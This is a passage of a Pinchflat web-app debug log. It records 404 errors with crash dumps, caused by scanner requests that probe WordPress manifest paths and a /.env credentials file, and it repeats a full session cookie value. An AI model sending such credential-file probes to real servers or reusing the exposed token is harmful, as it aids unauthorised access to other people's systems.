PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//test/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" (truncated) 10:29:49.121 [info] GET //wp2/wp-includes/wlwmanifest.xml 10:29:49.122 [debug] QUERY OK source="settings" db=0.2ms idle=1250.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:49.122 [debug] QUERY OK source="settings" db=0.0ms idle=1251.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:49.122 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:49.122 [error] #PID<0.17693.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 9) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //wp2/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp2/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17693.0>, params: %{}, path_info: ["wp2", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//wp2/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk2xsssYyXQWEACEaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp2/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp2/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, (truncated) 10:29:49.553 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:49.765 [info] GET //cms/wp-includes/wlwmanifest.xml 10:29:49.765 [debug] QUERY OK source="settings" db=0.2ms idle=643.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:49.765 [debug] QUERY OK source="settings" db=0.0ms idle=643.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:29:49.766 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:29:49.766 [error] #PID<0.17694.0> running PinchflatWeb.Endpoint (connection #PID<0.17683.0>, stream id 10) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET //cms/wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17694.0>, params: %{}, path_info: ["cms", "wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.5"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "//cms/wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGk20GLf1KaPG0ACEcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cms/wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//cms/wp-includes/wlwmanifest.xml", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 38876}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.5", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVJsT3NuLUdENktfOFZ2UnZhZHppOEtD.X6txZSyu_TNBRkzk0xDADtq_Hb23UG9Si3pg4N3rsDA", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" } (truncated) 10:30:00.594 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:19.554 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:49.555 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.595 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:19.556 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:49.558 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.596 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:19.560 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:49.561 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.598 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:19.563 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:49.564 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.598 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:19.565 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:49.566 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.599 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:19.568 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:49.570 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.600 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:19.572 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:49.573 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.601 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:19.574 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:49.576 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.602 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:19.577 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:49.578 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.603 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:19.579 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:49.580 [info] {"source":"oban","duration":783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.604 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:19.581 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:49.582 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.605 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:19.582 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:49.584 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.606 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:19.585 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:49.586 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.608 [info] {"source":"oban","duration":399,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:19.588 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:49.589 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.609 [info] {"source":"oban","duration":369,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:19.590 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:49.592 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.609 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:19.593 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:49.594 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.610 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:19.595 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:49.596 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.611 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:19.597 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:49.598 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.612 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:19.599 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:49.103 [info] GET /.env 10:48:49.104 [debug] QUERY OK source="settings" db=0.1ms idle=406.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:49.104 [debug] QUERY OK source="settings" db=0.0ms idle=406.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:48:49.104 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 10:48:49.104 [error] #PID<0.17801.0> running PinchflatWeb.Endpoint (connection #PID<0.17800.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 57832}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "priority" => "u=0, i", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "te" => "trailers", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.17801.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 